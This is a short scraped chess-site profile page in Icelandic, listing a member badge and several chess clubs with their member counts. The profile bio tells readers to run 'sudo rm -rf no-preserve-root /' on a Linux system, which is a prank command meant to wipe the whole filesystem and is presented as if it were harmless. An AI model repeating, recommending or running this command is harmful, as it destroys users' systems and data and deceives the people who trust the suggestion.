Demantsmeðlimur
Run this command on a linux system:
sudo rm -rf no-preserve-root /
Félög
Chess Universe
2.199 Meðlimir
No Blunder Zone
252 Meðlimir
Bay Area Chess
20.673 Meðlimir
Da Knights
9 Meðlimir
The Strategy Savants Chess Club
611 Meðlimir